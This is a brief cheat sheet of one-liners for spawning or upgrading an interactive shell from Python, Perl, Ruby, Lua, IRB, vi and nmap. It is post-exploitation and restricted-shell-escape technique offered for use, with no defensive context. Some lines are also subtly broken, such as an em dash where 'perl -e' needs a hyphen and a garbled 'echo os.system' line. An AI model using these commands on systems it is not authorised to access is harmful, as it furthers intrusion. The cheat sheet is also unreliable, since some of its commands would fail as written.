Spawning TTY Shell

python -c 'import pty; pty.spawn("/bin/sh")'

echo os.system('/bin/bash')

/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh')

(From within IRB) exec "/bin/sh"

(From within vi) :!bash

(From within vi) :set shell=/bin/bash:shell

(From within nmap) !sh